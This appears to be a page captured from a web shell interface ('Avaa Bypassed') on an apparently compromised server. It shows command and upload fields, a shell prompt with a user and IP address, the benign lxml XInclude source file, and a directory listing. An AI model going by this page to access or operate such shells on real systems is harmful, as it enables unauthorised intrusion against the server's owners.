[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@13.58.36.99: ~ $
# XInclude processing

from lxml.includes cimport xinclude


cdef class XIncludeError(LxmlError):
    u"""Error during XInclude processing.
    """


cdef class XInclude:
    u"""XInclude(self)
    XInclude processor.

    Create an instance and call it on an Element to run XInclude
    processing.
    """
    cdef _ErrorLog _error_log
    def __init__(self):
        self._error_log = _ErrorLog()

    @property
    def error_log(self):
        assert self._error_log is not None, "XInclude instance not initialised"
        return self._error_log.copy()

    def __call__(self, _Element node not None):
        u"__call__(self, node)"
        # We cannot pass the XML_PARSE_NOXINCNODE option as this would free
        # the XInclude nodes - there may still be Python references to them!
        # Therefore, we allow XInclude nodes to be converted to
        # XML_XINCLUDE_START nodes.  XML_XINCLUDE_END nodes are added as
        # siblings.  Tree traversal will simply ignore them as they are not
        # typed as elements.  The included fragment is added between the two,
        # i.e. as a sibling, which does not conflict with traversal.
        cdef int result
        _assertValidNode(node)
        assert self._error_log is not None, "XInclude processor not initialised"
        if node._doc._parser is not None:
            parse_options = node._doc._parser._parse_options
            context = node._doc._parser._getParserContext()
            c_context = <void*>context
        else:
            parse_options = 0
            context = None
            c_context = NULL

        self._error_log.connect()
        if tree.LIBXML_VERSION < 20704 or not c_context:
            __GLOBAL_PARSER_CONTEXT.pushImpliedContext(context)
        with nogil:
            orig_loader = _register_document_loader()
            if c_context:
                result = xinclude.xmlXIncludeProcessTreeFlagsData(
                    node._c_node, parse_options, c_context)
            else:
                result = xinclude.xmlXIncludeProcessTree(node._c_node)
            _reset_document_loader(orig_loader)
        if tree.LIBXML_VERSION < 20704 or not c_context:
            __GLOBAL_PARSER_CONTEXT.popImpliedContext()
        self._error_log.disconnect()

        if result == -1:
            raise XIncludeError(
                self._error_log._buildExceptionMessage(
                    u"XInclude processing failed"),
                self._error_log)

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
html Folder 0755
includes Folder 0755
isoschematron Folder 0755
ElementInclude.py File 8.36 KB 0644
__init__.py File 575 B 0644
_elementpath.cpython-311-x86_64-linux-gnu.so File 419.42 KB 0755
_elementpath.py File 10.49 KB 0644
apihelpers.pxi File 62.94 KB 0644
builder.cpython-311-x86_64-linux-gnu.so File 222.23 KB 0755
builder.py File 7.96 KB 0644
classlookup.pxi File 21.94 KB 0644
cleanup.pxi File 8.26 KB 0644
cssselect.py File 3.29 KB 0644
debug.pxi File 3.21 KB 0644
docloader.pxi File 5.65 KB 0644
doctestcompare.py File 17.91 KB 0644
dtd.pxi File 14.86 KB 0644
etree.cpython-311-x86_64-linux-gnu.so File 8.46 MB 0755
etree.h File 8.37 KB 0644
etree.pyx File 129.31 KB 0644
etree_api.h File 17.06 KB 0644
extensions.pxi File 32.46 KB 0644
iterparse.pxi File 16.22 KB 0644
lxml.etree.h File 8.37 KB 0644
lxml.etree_api.h File 17.06 KB 0644
nsclasses.pxi File 8.93 KB 0644
objectify.cpython-311-x86_64-linux-gnu.so File 4.25 MB 0755
objectify.pyx File 75.29 KB 0644
objectpath.pxi File 11.21 KB 0644
parser.pxi File 76.41 KB 0644
parsertarget.pxi File 6.7 KB 0644
proxy.pxi File 23.01 KB 0644
public-api.pxi File 6.5 KB 0644
pyclasslookup.py File 92 B 0644
readonlytree.pxi File 18.6 KB 0644
relaxng.pxi File 5.94 KB 0644
sax.cpython-311-x86_64-linux-gnu.so File 366.73 KB 0755
sax.py File 9.18 KB 0644
saxparser.pxi File 31.78 KB 0644
schematron.pxi File 5.65 KB 0644
serializer.pxi File 66.41 KB 0644
usedoctest.py File 230 B 0644
xinclude.pxi File 2.4 KB 0644
xmlerror.pxi File 48.37 KB 0644
xmlid.pxi File 5.92 KB 0644
xmlschema.pxi File 7.89 KB 0644
xpath.pxi File 19.11 KB 0644
xslt.pxi File 35.83 KB 0644
xsltext.pxi File 10.83 KB 0644